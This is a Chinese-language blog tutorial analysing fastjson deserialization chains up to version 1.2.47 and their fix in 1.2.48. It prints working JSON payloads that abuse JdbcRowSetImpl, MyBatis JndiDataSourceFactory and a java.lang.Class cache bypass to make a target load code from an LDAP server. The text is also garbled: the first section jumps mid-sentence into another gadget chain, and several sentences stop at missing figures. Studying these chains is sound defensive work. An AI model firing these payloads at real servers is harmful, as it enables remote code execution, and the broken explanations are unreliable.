Java安全之fastjson链分析

前段时间有师傅来问了我fastjson的问题，虽然知道大概但没分析过具体链，最近有空了正好分析一下fastjson两个反序列化洞：

1.2.22=version=1.2.24

1.2.25=version=1.2.47

简述与使用

Fastjson是Alibaba开发的Java语言编写的高性能JSON库，用于将数据在JSON和Java Object之间互相转换，提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。

本文涉及相关实验：newTransformer->defineTransletClasses，实例化了bytecodes，然后在：

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

经过一系列调用最后就到了TEMPOC中执行到RCE:

BasicDataSource

省赛遇到的一道题才知道原来还有这条链，先mark下：

http://blog.nsfocus.net/fastjson-basicdatasource-attack-chain-0521/

该链只能用于Fastjson 1.2.24及更低版本，使用范围相较于前两条链而言较小，链接处文章写的也很详细，不做过多叙述。

1.2.25-1.2.45部分绕过

直接拿着原来的链打会发现报错，发现多了一个ParserConfig.checkAutoType方法，在1.2.25中对DefaultJSONParser#parseObject中的TypeUtils.loadClass进行了修复：

//1.2.24
Class?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
//1.2.25
Class?> clazz = config.checkAutoType(typeName);

autoTypeSupport默认修改为false：

需要通过如下方式开启：

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

并且有一个denylist，来过滤掉前面用到的链中的类：

部分手动开启autoType的绕过链就不分析了，绕过的点也比较容易看出，具体看https://xz.aliyun.com/t/9052

这部分绕过个人感觉适用于ctf中，不做分析了，下面贴一下payload。

1.2.25-1.2.41

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

1.2.25-1.2.42

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

1.2.25-1.2.43

{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

1.2.25-1.2.45

需要目标服务端存在mybatis的jar包，且版本需为3.x.x系列3.5.0的版本

payload:

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/badNameClass"}}

1.2.25-1.2.47

这条链是通杀的，比较厉害的是其不需要开启AutoTypeSupport，相对于上面提到的绕过而言利用面广泛的多，因此着重分析一下。

该链在1.2.32之前，如果开启了AutoTypeSupport则无法利用，在>1.2.32后五轮是否开启都可以利用。

payload:

{
"a": {
"@type": "java.lang.Class", 
"val": "com.sun.rowset.JdbcRowSetImpl"
}, 
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl", 
"dataSourceName": "ldap://localhost:1389/Exploit", 
"autoCommit": true
}
}

前面提到在checkAutoType中有这么一个if：

if (this.autoTypeSupport || expectClass != null) 

因为autoTypeSupport默认为false，所以if内的代码都跳过了，而这条链的利用也无需这一个if，跟到后面：

这里的deserializers.findClass比较关键:

此处的this.buckets会发现其内置了很多的类，如：

那么问题也就是出在这里，我们目前传入的类是java.lang.class，而该类正处于这一个buckets中，而deserializers中有一个put方法，正是这一个方法将类放入白名单中从而避过了autotype的限制。

偏一下话题，稍微往前追溯一点能够找到如下一个初始化deserializers对象的方法：

白名单中的类都在此处。

比较好奇的是此处的class类的作用，在对class类进行反序列化时，其调用链如下：

deserializer#deserialze
->
TypeUtils#loadClass(strVal,parser.getConfig().getDefaultClassLoader())
//strVal=com.sun.rowset.JdbcRowSetImpl
->
TypeUtils#loadClass(className, classLoader, true)
//className=com.sun.rowset.JdbcRowSetImpl

此处的TypeUtils#loadClass在前面分析1.2.22-1.2.24链中提到过，其会尝试从mappings中取出类：

Class?> clazz = (Class)mappings.get(className);

在取不到时会调用类加载器去加载类，此时就取到了com.sun.rowset.JdbcRowSetImpl。

之后最致命的操作就是：

mappings.put(className, clazz);

将com.sun.rowset.JdbcRowSetImpl这一个类放入了mappings中，而在加载b字典中的JdbcRowSetImpl类时，调用到的是：

他会直接从mappings中取类，而前面已经将JdbcRowSetImpl放入mappings中，此时达成了绕过autotype关闭的限制。

开发目的应该是为了程序运行效率，省去每次都需要去重新加载类的麻烦，但却因为class在反序列化时会调用loader将其他类装载进来导致了绕过名单的后果。

而在1.2.48 修复了这一漏洞，将反序列化class对象时的cache设置为false：

if (cache) {   mappings.put(className, clazz); } 

此时就不会将class类装载进缓存中了。

转载请注明来自网盾网络安全培训，本文标题：《Java安全之fastjson链分析》

标签：反序列化漏洞